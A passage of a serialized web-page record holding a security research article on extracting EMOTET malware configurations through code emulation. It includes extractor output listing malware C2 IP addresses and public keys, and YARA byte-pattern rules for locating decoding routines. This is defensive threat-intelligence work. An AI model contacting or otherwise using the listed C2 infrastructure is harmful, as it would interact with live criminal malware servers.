These techniques will slow down initial analysis, however, EMOTET will eventually have to execute to achieve its purpose, and that means that we can collect information that we can use to uncover more about the campaign and infrastructure. Using code emulators, we can still find and extract the information from the binary without having to deal with any obfuscation techniques. EMOTET is a great example where multiple obfuscation techniques make static analysis harder. But of course, we expect more malware authors to follow the same example. That is why we expect to see more emulation-based configuration extract in the future.\n\n\n\n## Detection\n\n### YARA\n\nElastic Security has created YARA rules to identify this activity. The YARA rules shown here are not meant to be used to solely detect EMOTET binaries, they are created to support the configuration extractor. The YARA rules for detecting EMOTET can be found in the [protections-artifacts repository](https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_Emotet.yar).\n\n#### EMOTET key decryption function\n\n```\nrule resolve_keys\n{\nmeta:\n author = \"Elastic Security\"\n description = \"EMOTET - find the key decoding algorithm in the PE\"\n creation_date = \"2022-08-02\"\n last_modified = \"2022-08-11\"\n os = \"Windows\"\n family = \"EMOTET\"\n threat_name = \"Windows.Trojan.EMOTET\"\n reference_sample = \"debad0131060d5dd9c4642bd6aed186c4a57b46b0f4c69f1af16b1ff9c0a77b1\"\n strings:\n $chunk_1 = {\n 45 33 C9\n 4C 8B D0\n 48 85 C0\n 74 ??\n 48 8D ?? ??\n 4C 8B ??\n 48 8B ??\n 48 2B ??\n 48 83 ?? ??\n 48 C1 ?? ??\n 48 3B ??\n 49 0F 47 ??\n 48 85 ??\n 74 ??\n 48 2B D8\n 42 8B 04 03\n }\n condition:\n any of them\n}\n```\n\n#### EMOTET C2 aggregation\n\n```\nrule c2_list\n{\n author = \"Elastic Security\"\n description = \"EMOTET - find the C2 collection in the PE\"\n creation_date = \"2022-08-02\"\n last_modified = \"2022-08-11\"\n os = \"Windows\"\n family = \"EMOTET\"\n threat_name = \"Windows.Trojan.EMOTET\"\n reference_sample = \"debad0131060d5dd9c4642bd6aed186c4a57b46b0f4c69f1af16b1ff9c0a77b1\"\n strings:\n $chunk_1 = {\n 48 8D 05 ?? ?? ?? ??\n 48 89 81 ?? ?? ?? ??\n 48 8D 05 ?? ?? ?? ??\n 48 89 81 ?? ?? ?? ??\n 48 8D 05 ?? ?? ?? ??\n 48 89 81 ?? ?? ?? ??\n 48 8D 05 ?? ?? ?? ??\n 48 89 81 ?? ?? ?? ??\n 48 8D 05 ?? ?? ?? ??\n 48 89 81 ?? ?? ?? ??\n 48 8D 05 ?? ?? ?? ??\n 48 89 81 ?? ?? ?? ??\n 48 8D 05 ?? ?? ?? ??\n 48 89 81 ?? ?? ?? ??\n }\n condition:\n any of them\n}\n```\n\n#### EMOTET string decoder\n\n```\nrule string_decode\n{\n meta:\n author = \"Elastic Security\"\n description = \"EMOTET - find the string decoding algorithm in the PE\"\n creation_date = \"2022-08-02\"\n last_modified = \"2022-08-11\"\n os = \"Windows\"\n family = \"EMOTET\"\n threat_name = \"Windows.Trojan.EMOTET\"\n reference_sample = \"debad0131060d5dd9c4642bd6aed186c4a57b46b0f4c69f1af16b1ff9c0a77b1\"\n strings:\n $chunk_1 = {\n 8B 0B\n 49 FF C3\n 48 8D 5B ??\n 33 CD\n 0F B6 C1\n 66 41 89 00\n 0F B7 C1\n C1 E9 10\n 66 C1 E8 08\n 4D 8D 40 ??\n 66 41 89 40 ??\n 0F B6 C1\n 66 C1 E9 08\n 66 41 89 40 ??\n 66 41 89 48 ??\n 4D 3B D9\n 72 ??\n }\n $chunk_2 = {\n 8B 0B\n 49 FF C3\n 48 8D 5B ??\n 33 CD\n 0F B6 C1\n 66 41 89 00\n 0F B7 C1\n C1 E9 ??\n 66 C1 E8 ??\n 4D 8D 40 ??\n 66 41 89 40 ??\n 0F B6 C1\n 66 C1 E9 ??\n 66 41 89 40 ??\n 66 41 89 48 ??\n 4D 3B D9\n 72 ??\n }\n condition:\n any of them\n}\n```\n","code":"var Component=(()=\u003e{var d=Object.create;var r=Object.defineProperty;var m=Object.getOwnPropertyDescriptor;var f=Object.getOwnPropertyNames;var u=Object.getPrototypeOf,g=Object.prototype.hasOwnProperty;var p=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),y=(t,e)=\u003e{for(var i in e)r(t,i,{get:e[i],enumerable:!0})},s=(t,e,i,a)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let o of f(e))!g.call(t,o)\u0026\u0026o!==i\u0026\u0026r(t,o,{get:()=\u003ee[o],enumerable:!(a=m(e,o))||a.enumerable});return t};var w=(t,e,i)=\u003e(i=t!=null?d(u(t)):{},s(e||!t||!t.__esModule?r(i,\"default\",{value:t,enumerable:!0}):i,t)),E=t=\u003es(r({},\"__esModule\",{value:!0}),t);var l=p((k,c)=\u003e{c.exports=_jsx_runtime});var v={};y(v,{default:()=\u003ex,frontmatter:()=\u003eb});var n=w(l()),b={title:\"EMOTET Dynamic Configuration Extraction\",slug:\"emotet-dynamic-configuration-extraction\",date:\"2022-12-01\",subtitle:\"A tool for the dynamic extraction of EMOTET configurations based on emulation.\",description:\"Elastic Security Labs discusses the EMOTET trojan and is releasing a tool to dynamically extract configuration files using code emulators.\",author:[{slug:\"remco-sprooten\"}],image:\"lock-code-combination-configuration.jpg\",category:[{slug:\"security-research\"}],tags:[\"emotet\"]};function h(t){let e=Object.assign({h2:\"h2\",ul:\"ul\",li:\"li\",blockquote:\"blockquote\",p:\"p\",a:\"a\",strong:\"strong\",img:\"img\",ol:\"ol\",pre:\"pre\",code:\"code\",h3:\"h3\",h4:\"h4\"},t.components);return(0,n.jsxs)(n.Fragment,{children:[(0,n.jsx)(e.h2,{id:\"key-takeaways\",children:\"Key takeaways\"}),`\n`,(0,n.jsxs)(e.ul,{children:[`\n`,(0,n.jsx)(e.li,{children:\"The EMOTET developers have changed the way they encode their configuration in the 64bit version of the malware.\"}),`\n`,(0,n.jsx)(e.li,{children:\"Using code emulation we can bypass multiple code obfuscation techniques.\"}),`\n`,(0,n.jsx)(e.li,{children:\"The use of code emulators in config extractors will become more prevalent in the future.\"}),`\n`]}),`\n`,(0,n.jsxs)(e.blockquote,{children:[`\n`,(0,n.jsx)(e.p,{children:\"To download the EMOTET configuration extractor, check out our post on the tool:\"}),`\n`,(0,n.jsxs)(e.ul,{children:[`\n`,(0,n.jsx)(e.li,{children:(0,n.jsx)(e.a,{href:\"https://www.elastic.co/security-labs/emotet-configuration-extractor\",rel:\"nofollow\",children:\"EMOTET configuration extractor\"})}),`\n`]}),`\n`]}),`\n`,(0,n.jsx)(e.h2,{id:\"preamble\",children:\"Preamble\"}),`\n`,(0,n.jsxs)(e.p,{children:[\"The \",(0,n.jsx)(e.a,{href:\"https://malpedia.caad.fkie.fraunhofer.de/details/win.emotet\",rel:\"nofollow\",children:\"EMOTET\"}),\" family broke onto the malware scene as a \",(0,n.jsx)(e.a,{href:\"https://web.archive.org/web/20140701001622/https://blog.trendmicro.com/trendlabs-security-intelligence/new-banking-malware-uses-network-sniffing-for-data-theft/\",rel:\"nofollow\",children:\"modular banking trojan in 2014\"}),\", focused on harvesting and exfiltrating bank account information by inspecting traffic. EMOTET has been adapted as an early-stage implant used to load other malware families, such as \",(0,n.jsx)(e.a,{href:\"https://www.elastic.co/security-labs/exploring-the-qbot-attack-pattern\",rel:\"nofollow\",children:\"QAKBOT\"}),\", \",(0,n.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_Trickbot.yar\",rel:\"nofollow\",children:\"TRICKBOT\"}),\", and \",(0,n.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Ransomware_Ryuk.yar\",rel:\"nofollow\",children:\"RYUK\"}),\". While multiple EMOTET campaigns have been dismantled by international law enforcement entities, it has continued to operate as one of the most prolific cybercrime operations.\"]}),`\n`,(0,n.jsxs)(e.p,{children:[\"For the last several months, Elastic Security has observed the EMOTET developers \",(0,n.jsx)(e.a,{href:\"https://twitter.com/Cryptolaemus1/status/1516261512372965383?ref_src=twsrc%5Etfw\",rel:\"nofollow\",children:\"transition\"}),\" to a 64-bit version of their malware. While this change does not seem to impact the core functionality of the samples we have witnessed, we did notice a change in how the configuration and strings are obfuscated. In earlier versions of EMOTET, the configuration was stored in an encrypted form in the \",(0,n.jsx)(e.strong,{children:\".data\"}),\" section of the binary. In the newer versions the configuration is calculated at runtime. The information we need to extract the configuration from the binary is thus hidden within the actual code.\"]}),`\n`,(0,n.jsx)(e.p,{children:\"In the next sections, we\\u2019ll discuss the following as it relates to 64-bit EMOTET samples:\"}),`\n`,(0,n.jsxs)(e.ul,{children:[`\n`,(0,n.jsx)(e.li,{children:\"EMOTET encryption mechanisms\"}),`\n`,(0,n.jsx)(e.li,{children:\"Reviewing the EMOTET C2 list\"}),`\n`,(0,n.jsx)(e.li,{children:\"Interesting EMOTET strings\"}),`\n`,(0,n.jsx)(e.li,{children:\"The EMOTET configuration extractor utility\"}),`\n`]}),`\n`,(0,n.jsx)(e.h2,{id:\"encryption-keys\",children:\"Encryption keys\"}),`\n`,(0,n.jsxs)(e.p,{children:[\"EMOTET uses embedded \",(0,n.jsx)(e.a,{href:\"https://blog.cloudflare.com/a-relatively-easy-to-understand-primer-on-elliptic-curve-cryptography/\",rel:\"nofollow\",children:\"Elliptic Curve Cryptography\"}),\" (ECC) public keys to encrypt their network communication. While in previous versions, the keys would be stored in an XOR-encrypted blob, now the content is calculated at runtime.\"]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/emotet-dynamic-configuration-extraction/image14.jpg\",alt:\"Encoded Encryption Key blob in 64-bit version\",width:\"655\",height:\"398\"})}),`\n`,(0,n.jsxs)(e.p,{children:[\"In comparison the previous versions of EMOTET would store an encrypted version of the key data in the . \",(0,n.jsx)(e.strong,{children:\"text\"}),\" section of the binary.\"]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/emotet-dynamic-configuration-extraction/image10.jpg\",alt:\"Embedded key data in previous version of the malware\",width:\"1440\",height:\"277\"})}),`\n`,(0,n.jsxs)(e.p,{children:[\"In order to make it harder for security researchers to find the given code the malware uses \",(0,n.jsx)(e.a,{href:\"https://www.usenix.org/conference/usenixsecurity21/presentation/liu-binbin\",rel:\"nofollow\",children:\"Mixed Boolean-Arithmetic\"}),\" (MBA) as one of its obfuscation techniques. It transforms constants and simple expressions into expressions that contain a mix of Boolean and arithmetic operations.\"]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/emotet-dynamic-configuration-extraction/image6.jpg\",alt:\"Example of Mixed Boolean-Arithmetic\",width:\"748\",height:\"376\"})}),`\n`,(0,n.jsx)(e.p,{children:\"In this example, an array of constants is instantiated, but looking at the assembly we see that every constant is calculated at runtime. This method makes it challenging to develop a signature to target this function.\"}),`\n`,(0,n.jsxs)(e.p,{children:[\"We noticed that both the \",(0,n.jsx)(e.a,{href:\"https://cryptobook.nakov.com/asymmetric-key-ciphers/ecdh-key-exchange\",rel:\"nofollow\",children:\"Elliptic Curve Diffie-Hellman\"}),\" (ECDH) and \",(0,n.jsx)(e.a,{href:\"https://cryptobook.nakov.com/digital-signatures/ecdsa-sign-verify-messages\",rel:\"nofollow\",children:\"Elliptic Curve Digital Signature Algorithm\"}),\" (ECDSA) keys use the same function to decode the contents.\"]}),`\n`,(0,n.jsx)(e.p,{children:\"The ECDH key (which you can recognize by its magic ECK1 bytes) is used for encryption purposes while the ECDSA key (ECC1) is used for verifying the C2 server's responses.\"}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/emotet-dynamic-configuration-extraction/image4.jpg\",alt:\"ECK1 magic bytes at the start of the key data\",width:\"786\",height:\"152\"})}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/emotet-dynamic-configuration-extraction/image11.jpg\",alt:\"Decoding algorithm for the key material\",width:\"658\",height:\"444\"})}),`\n`,(0,n.jsx)(e.p,{children:\"By leveraging a YARA signature to find the location of this decode function within the EMOTET binary we can observe the following process:\"}),`\n`,(0,n.jsxs)(e.ol,{children:[`\n`,(0,n.jsx)(e.li,{children:\"Find the decoding algorithm within the binary.\"}),`\n`,(0,n.jsxs)(e.li,{children:[\"Locate any Cross References (\",(0,n.jsx)(e.a,{href:\"https://hex-rays.com/blog/igor-tip-of-the-week-16-cross-references/\",rel:\"nofollow\",children:\"Xrefs\"}),\") to the decoding function.\"]}),`\n`,(0,n.jsx)(e.li,{children:\"Emulate the function that calls the decoding function.\"}),`\n`,(0,n.jsx)(e.li,{children:\"Read the resulting data from memory.\"}),`\n`]}),`\n`,(0,n.jsxs)(e.p,{children:[\"As we mentioned, we first find the function in the binary by using YARA. The signature is provided at the \",(0,n.jsx)(e.a,{href:\"https://www.elastic.co/security-labs/emotet-dynamic-configuration-extraction#yara\",rel:\"nofollow\",children:\"end of this article\"}),\". It is worth pointing out that these yara signatures are used to identify locations in the binary but are, in their current form, not usable to identify EMOTET samples.\"]}),`\n`,(0,n.jsx)(e.p,{children:\"In order to automatically retrieve the data from multiple samples, we created a configuration extractor. In the snippets below, we will demonstrate, in a high level fashion, how we collect the configuration information from the malware samples.\"}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/emotet-dynamic-configuration-extraction/image7.jpg\",alt:\"Python code to find the start of a function\",width:\"766\",height:\"284\"})}),`\n`,(0,n.jsx)(e.p,{children:\"In the above code snippet:\"}),`\n`,(0,n.jsxs)(e.ol,{children:[`\n`,(0,n.jsx)(e.li,{children:\"First load the YARA signature.\"}),`\n`,(0,n.jsx)(e.li,{children:\"Try to find a match, and if a signature is found in the file.\"}),`\n`,(0,n.jsx)(e.li,{children:\"Calculate the function offset based on the offset in the file.\"}),`\n`]}),`\n`,(0,n.jsxs)(e.p,{children:[\"In order to locate the Xrefs to this function, we use the excellent \",(0,n.jsx)(e.a,{href:\"https://github.com/danielplohmann/smda\",rel:\"nofollow\",children:\"SMDA decompiler\"}),\". After locating the Xrefs, we can start the emulation process using the CPU emulator, \",(0,n.jsx)(e.a,{href:\"https://www.unicorn-engine.org/\",rel:\"nofollow\",children:\"Unicorn\"}),\".\"]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/emotet-dynamic-configuration-extraction/image8.jpg\",alt:\"Python code used to emulate decoding functions\",width:\"885\",height:\"956\"})}),`\n`,(0,n.jsxs)(e.ol,{children:[`\n`,(0,n.jsx)(e.li,{children:\"Initialize the Unicorn emulator.\"}),`\n`,(0,n.jsx)(e.li,{children:\"Load the executable code from the PE file into memory.\"}),`\n`,(0,n.jsx)(e.li,{children:\"Disassemble the function to find the return and the end of the execution.\"}),`\n`,(0,n.jsxs)(e.li,{children:[\"The binary will try to use the windows \",(0,n.jsx)(e.a,{href:\"https://learn.microsoft.com/en-us/windows/win32/api/heapapi/nf-heapapi-heapalloc\",rel:\"nofollow\",children:\"HeapAlloc API\"}),\" to allocate space for the decoded data. Since we don't want to emulate any windows API's, as this would add unnecessary complexity, we hook to code so that we can allocate space ourselves.\"]}),`\n`,(0,n.jsxs)(e.li,{children:[\"After the emulation has run the 64-bit \\u201Clong size\\u201D register (\",(0,n.jsx)(e.a,{href:\"https://www.cs.uaf.edu/2017/fall/cs301/lecture/09_11_registers.html#:~:text=rax%20is%20the%2064%2Dbit,processors%20with%20the%2080386%20CPU.\",rel:\"nofollow\",children:\"RAX\"}),\"), it will contain a pointer to the key data in memory.\"]}),`\n`,(0,n.jsx)(e.li,{children:\"To present the key in a more readable way, we convert it to the standard PEM format.\"}),`\n`]}),`\n`,(0,n.jsx)(e.p,{children:\"By emulating the parts of the binary that we are interested in, we no longer have to statically defeat the obfuscation in order to retrieve the hidden contents. This approach adds a level of complexity to the creation of config extractors. However, since malware authors are adding ever more obfuscation, there is a need for a generic approach to defeating these techniques.\"}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/emotet-dynamic-configuration-extraction/image3.jpg\",alt:\"Example of the extractor used to find key material\",width:\"658\",height:\"506\"})}),`\n`,(0,n.jsx)(e.h2,{id:\"c2-server-list\",children:\"C2 server list\"}),`\n`,(0,n.jsx)(e.p,{children:\"An important part of tracking malware families is to get new insights by identifying and discovering which C2 servers they use to operate their network.\"}),`\n`,(0,n.jsx)(e.p,{children:\"In the 64-bit versions of EMOTET, we see that the IP and port information of the C2 servers are also dynamically calculated at runtime. Every C2 server is represented by a function that calculates and returns a value for the IP address and the port number.\"}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/emotet-dynamic-configuration-extraction/image13.jpg\",alt:\"Examples of encoded IP/port combination\",width:\"658\",height:\"106\"})}),`\n`,(0,n.jsxs)(e.p,{children:[\"These functions don\\u2019t have a direct cross reference available for searching. However, a procedure references all the C2 functions and creates the \",(0,n.jsx)(e.strong,{children:\"p_c2_list\"}),\" array of pointers.\"]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/emotet-dynamic-configuration-extraction/image1.jpg\",alt:\"C2 server list\",width:\"658\",height:\"620\"})}),`\n`,(0,n.jsx)(e.p,{children:\"After that, we can emulate every C2-server function individually to retrieve the IP and port combination as seen below.\"}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/emotet-dynamic-configuration-extraction/image9.jpg\",alt:\"Example of the extractor used to find C2 server list\",width:\"843\",height:\"422\"})}),`\n`,(0,n.jsx)(e.h2,{id:\"strings\",children:\"Strings\"}),`\n`,(0,n.jsxs)(e.p,{children:[\"The same method is applied to the use of strings in memory. Every string has its own function. In the following example, the function would return a pointer to the string \",(0,n.jsx)(e.strong,{children:'%s\\\\regsvr32.exe \"%s\"'}),\".\"]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/emotet-dynamic-configuration-extraction/image15.jpg\",alt:\"Encoded string\",width:\"654\",height:\"192\"})}),`\n`,(0,n.jsx)(e.p,{children:\"All of the EMOTET strings share a common function to decode or resolve the string at runtime. In the sample that we are analyzing here, the string resolver function is referenced 29 times.\"}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/emotet-dynamic-configuration-extraction/image2.jpg\",alt:\"String decoding algorithm\",width:\"904\",height:\"693\"})}),`\n`,(0,n.jsx)(e.p,{children:\"This allows us to follow the same approach as noted earlier in order to decode all of the EMOTET strings. We pinpoint the string decoding function using YARA, find the cross-references, and emulate the resulting functions.\"}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/emotet-dynamic-configuration-extraction/image12.jpg\",alt:\"Example of the extractor used to find strings\",width:\"904\",height:\"638\"})}),`\n`,(0,n.jsx)(e.h2,{id:\"configuration-extractor\",children:\"Configuration extractor\"}),`\n`,(0,n.jsx)(e.p,{children:\"Automating the payload extraction from EMOTET is a crucial aspect of threat hunting as it gives visibility of the campaign and the malware deployed by the threat actors, enabling practitioners to discover new unknown samples in a timely manner.\"}),`\n`,(0,n.jsx)(e.pre,{children:(0,n.jsx)(e.code,{children:`% emotet-config-extractor --help\nusage: Emotet Configuration Extractor [-h] (-f FILE | -d DIRECTORY) [-k] [-c] [-s] [-a]\n\noptions:\n -h, --help show this help message and exit\n -f FILE, --file FILE Emotet sample path\n -d DIRECTORY, --directory DIRECTORY\n Emotet samples folder\n -k Extract Encryption keys\n -c Extract C2 information\n -s Extract strings\n -a Extract strings (ascii)\n`})}),`\n`,(0,n.jsxs)(e.p,{children:[\"Our extractor takes either a directory of samples with \",(0,n.jsx)(e.strong,{children:\"-d\"}),\" option or \",(0,n.jsx)(e.strong,{children:\"-f\"}),\" for a single sample and then can output parts of the configuration of note, specifically:\"]}),`\n`,(0,n.jsxs)(e.ul,{children:[`\n`,(0,n.jsxs)(e.li,{children:[(0,n.jsx)(e.strong,{children:\"-k\"}),\" : extract the encryption keys\"]}),`\n`,(0,n.jsxs)(e.li,{children:[(0,n.jsx)(e.strong,{children:\"-c\"}),\" : extract the C2 information\"]}),`\n`,(0,n.jsxs)(e.li,{children:[(0,n.jsx)(e.strong,{children:\"-s\"}),\" : extract the wide-character strings\"]}),`\n`,(0,n.jsxs)(e.li,{children:[(0,n.jsx)(e.strong,{children:\"-a\"}),\" : extract the ASCII character stings\"]}),`\n`]}),`\n`,(0,n.jsx)(e.p,{children:\"EMOTET uses a different routine for decoding wide and ASCII strings. That is why the extractor provides flags to extract them separately.\"}),`\n`,(0,n.jsx)(e.p,{children:\"The C2 information displays a list of IP addresses found in the sample. It is worth noting that EMOTET downloads submodules to perform specific tasks. These submodules can contain their own list of C2 servers. The extractor is also able to process these submodules.\"}),`\n`,(0,n.jsxs)(e.p,{children:[\"The submodules that we observed do not contain encryption keys. While processing submodules you can omit the \",(0,n.jsx)(e.strong,{children:\"-k\"}),\" flag.\"]}),`\n`,(0,n.jsx)(e.pre,{children:(0,n.jsx)(e.code,{children:`[...]\n[+] Key type: ECK1\n[+] Key length: 32\n-----BEGIN PUBLIC KEY-----\nMFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAE2DWT12OLUMXfzeFp+bE2AJubVDsW\nNqJdRC6yODDYRzYuuNL0i2rI2Ex6RUQaBvqPOL7a+wCWnIQszh42gCRQlg==\n-----END PUBLIC KEY-----\n[...]\n[+] Key type: ECS1\n[+] Key length: 32\n-----BEGIN PUBLIC KEY-----\nMFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAE9C8agzYaJ1GMJPLKqOyFrlJZUXVI\nlAZwAnOq6JrEKHtWCQ+8CHuAIXqmKH6WRbnDw1wmdM/YvqKFH36nqC2VNA==\n-----END PUBLIC KEY-----\n[...]\n[+] Found 64 c2 subs\n174.138.33.49:7080\n188.165.79.151:443\n196.44.98.190:8080\n[...]\n[+] Starting emulation\n[+] String BLOB address: 0x4000000\nKeyDataBlob\n[...]\n[+] String BLOB address: 0x4000000\nbcrypt.dll\n[...]\n[+] String BLOB address: 0x4000000\nRNG\n`})}),`\n`,(0,n.jsxs)(e.p,{children:[\"To enable the community to further defend themselves against existing and new variants of EMOTET, we are making the payload extractor open source under the Apache 2 License. Access the \",(0,n.jsx)(e.a,{href:\"https://www.elastic.co/security-labs/emotet-configuration-extractor\",rel:\"nofollow\",children:\"payload extractor documentation and binary download\"}),\".\"]}),`\n`,(0,n.jsx)(e.h2,{id:\"the-future-of-emotet\",children:\"The future of EMOTET\"}),`\n`,(0,n.jsx)(e.p,{children:\"The EMOTET developers are implementing new techniques to hide their configurations from security researchers. These techniques will slow down initial analysis, however, EMOTET will eventually have to execute to achieve its purpose, and that means that we can collect information that we can use to uncover more about the campaign and infrastructure. Using code emulators, we can still find and extract the information from the binary without having to deal with any obfuscation techniques. EMOTET is a great example where multiple obfuscation techniques make static analysis harder. But of course, we expect more malware authors to follow the same example. That is why we expect to see more emulation-based configuration extract in the future.\"}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/emotet-dynamic-configuration-extraction/image5.png\",alt:\"EMOTET running and gathering system information\",width:\"1440\",height:\"774\"})}),`\n`,(0,n.jsx)(e.h2,{id:\"detection\",children:\"Detection\"}),`\n`,(0,n.jsx)(e.h3,{id:\"yara\",children:\"YARA\"}),`\n`,(0,n.jsxs)(e.p,{children:[\"Elastic Security has created YARA rules to identify this activity. The YARA rules shown here are not meant to be used to solely detect EMOTET binaries, they are created to support the configuration extractor. The YARA rules for detecting EMOTET can be found in the \",(0,n.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_Emotet.yar\",rel:\"nofollow\",children:\"protections-artifacts repository\"}),\".\"]}),`\n`,(0,n.jsx)(e.h4,{id:\"emotet-key-decryption-function\",children:\"EMOTET key decryption function\"}),`\n`,(0,n.jsx)(e.pre,{children:(0,n.jsx)(e.code,{children:`rule resolve_keys\n{\nmeta:\n author = \"Elastic Security\"\n description = \"EMOTET - find the key decoding algorithm in the PE\"\n creation_date = \"2022-08-02\"\n last_modified = \"2022-08-11\"\n os = \"Windows\"\n family = \"EMOTET\"\n threat_name = \"Windows.Trojan.EMOTET\"\n reference_sample = \"debad0131060d5dd9c4642bd6aed186c4a57b46b0f4c69f1af16b1ff9c0a77b1\"\n strings:\n $chunk_1 = {\n 45 33 C9\n 4C 8B D0\n 48 85 C0\n 74 ??\n 48 8D ?? ??\n 4C 8B ??\n 48 8B ??\n 48 2B ??\n 48 83 ?? ??\n 48 C1 ?? ??\n 48 3B ??\n 49 0F 47 ??\n 48 85 ??\n 74 ??\n 48 2B D8\n 42 8B 04 03\n }\n condition:\n any of them\n}\n`})}),`\n`,(0,n.jsx)(e.h4,{id:\"emotet-c2-aggregation\",children:\"EMOTET C2 aggregation\"}),`\n`,(0,n.jsx)(e.pre,{children:(0,n.jsx)(e.code,{children:`rule c2_list\n{\n author = \"Elastic Security\"\n description = \"EMOTET - find the C2 collection in the PE\"\n creation_date = \"2022-08-02\"\n last_modified = \"2022-08-11\"\n os = \"Windows\"\n family = \"EMOTET\"\n threat_name = \"Windows.Trojan.EMOTET\"\n reference_sample = \"debad0131060d5dd9c4642bd6aed186c4a57b46b0f4c69f1af16b1ff9c0a77b1\"\n strings:\n $chunk_1 = {\n 48 8D 05 ?? ?? ?? ??\n 48 89 81 ?? ?? ?? ??\n 48 8D 05 ?? ?? ?? ??\n 48 89 81 ?? ?? ?? ??\n 48 8D 05 ?? ?? ?? ??\n 48 89 81 ?? ?? ?? ??\n 48 8D 05 ?? ?? ?? ??\n 48 89 81 ?? ?? ?? ??\n 48 8D 05 ?? ?? ?? ??\n 48 89 81 ?? ?? ?? ??\n 48 8D 05 ?? ?? ?? ??\n 48 89 81 ?? ?? ?? ??\n 48 8D 05 ?? ?? ?? ??\n 48 89 81 ?? ?? ?? ??\n }\n condition:\n any of them\n}\n`})}),`\n`,(0,n.jsx)(e.h4,{id:\"emotet-string-decoder\",children:\"EMOTET string decoder\"}),`\n`,(0,n.jsx)(e.pre,{children:(0,n.jsx)(e.code,{children:`rule string_decode\n{\n meta:\n author = \"Elastic Security\"\n description = \"EMOTET - find the string decoding algorithm in the PE\"\n creation_date = \"2022-08-02\"\n last_modified = \"2022-08-11\"\n os = \"Windows\"\n family = \"EMOTET\"\n threat_name = \"Windows.Trojan.EMOTET\"\n reference_sample = \"debad0131060d5dd9c4642bd6aed186c4a57b46b0f4c69f1af16b1ff9c0a77b1\"\n strings:\n $chunk_1 = {\n 8B 0B\n 49 FF C3\n 48 8D 5B ??\n 33 CD\n 0F B6 C1\n 66 41 89 00\n 0F B7 C1\n C1 E9 10\n 66 C1 E8 08\n 4D 8D 40 ??\n 66 41 89 40 ??\n 0F B6 C1\n 66 C1 E9 08\n 66 41 89 40 ??\n 66 41 89 48 ??\n 4D 3B D9\n 72 ??\n }\n $chunk_2 = {\n 8B 0B\n 49 FF C3\n 48 8D 5B ??\n 33 CD\n 0F B6 C1\n 66 41 89 00\n 0F B7 C1\n C1 E9 ??\n 66 C1 E8 ??\n 4D 8D 40 ??\n 66 41 89 40 ??\n 0F B6 C1\n 66 C1 E9 ??\n 66 41 89 40 ??\n 66 41 89 48 ??\n 4D 3B D9\n 72 ??\n }\n condition:\n any of them\n}\n`})})]})}function T(t={}){let{wrapper:e}=t.components||{};return e?(0,n.jsx)(e,Object.assign({},t,{children:(0,n.jsx)(h,t)})):h(t)}var x=T;return E(v);})();\n;return Component;"},"_id":"articles/emotet-dynamic-configuration-extraction.mdx","_raw":{"sourceFilePath":"articles/emotet-dynamic-configuration-extraction.mdx","sourceFileName":"emotet-dynamic-configuration-extraction.mdx","sourceFileDir":"articles","contentType":"mdx","flattenedPath":"articles/emotet-dynamic-configuration-extraction"},"type":"Article","imageUrl":"/assets/images/emotet-dynamic-configuration-extraction/lock-code-combination-configuration.jpg","readingTime":"16 min read","series":"","url":"/emotet-dynamic-configuration-extraction","headings":[{"level":2,"title":"Key takeaways","href":"#key-takeaways"},{"level":2,"title":"Preamble","href":"#preamble"},{"level":2,"title":"Encryption keys","href":"#encryption-keys"},{"level":2,"title":"C2 server list","href":"#c2-server-list"},{"level":2,"title":"Strings","href":"#strings"},{"level":2,"title":"Configuration extractor","href":"#configuration-extractor"},{"level":2,"title":"The future of EMOTET","href":"#the-future-of-emotet"},{"level":2,"title":"Detection","href":"#detection"},{"level":3,"title":"YARA","href":"#yara"},{"level":4,"title":"EMOTET key decryption function","href":"#emotet-key-decryption-function"},{"level":4,"title":"EMOTET C2 aggregation","href":"#emotet-c2-aggregation"},{"level":4,"title":"EMOTET string decoder","href":"#emotet-string-decoder"}],"author":[{"title":"Remco Sprooten","slug":"remco-sprooten","description":"Elastic Security Labs Team Principal Research Engineer","body":{"raw":"","code":"var Component=(()=\u003e{var p=Object.create;var a=Object.defineProperty;var x=Object.getOwnPropertyDescriptor;var l=Object.getOwnPropertyNames;var f=Object.getPrototypeOf,g=Object.prototype.hasOwnProperty;var _=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),d=(t,e)=\u003e{for(var n in e)a(t,n,{get:e[n],enumerable:!0})},s=(t,e,n,c)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let o of l(e))!g.call(t,o)\u0026\u0026o!==n\u0026\u0026a(t,o,{get:()=\u003ee[o],enumerable:!(c=x(e,o))||c.enumerable});return t};var 